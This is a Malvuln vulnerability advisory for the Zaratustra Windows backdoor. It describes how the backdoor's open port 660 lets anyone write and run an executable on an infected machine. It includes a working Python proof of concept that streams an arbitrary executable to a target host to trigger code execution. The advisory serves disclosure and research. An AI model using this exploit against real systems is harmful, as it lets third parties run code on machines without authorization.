Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f240c16af2189ea9c94f317281ce7e59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zaratustra
Vulnerability: Unauthenticated Remote File Write (Remote Code Exec)
Description: Zaratustra malware listens on TCP port 660. Third-party attackers who can reach infected systems can use a socket program to write binary data to execute. The malware then writes that data to a file named "x.exe" under c: drive and will execute upon completion of the downloaded code.
Type: PE32
MD5: f240c16af2189ea9c94f317281ce7e59
Vuln ID: MVID-2021-0315
Dropped files: x.exe
Disclosure: 08/05/2021
Exploit/PoC:
from socket import *
import time
#Has to be done slowly or will crash the backdoor.
#Tested sucessfully with an 11.5 KB executable
#Compile #define WIN32_LEAN_AND_MEAN, linker strip executable etc.. try make small as possible.
HOST = "x.x.x.x"
PORT = 660
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
with open("DOOM.exe", "rb") as f:
while True:
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)
print(" Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write - RCE")
print("MD5: f240c16af2189ea9c94f317281ce7e59")
print("By malvuln")
s.close()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
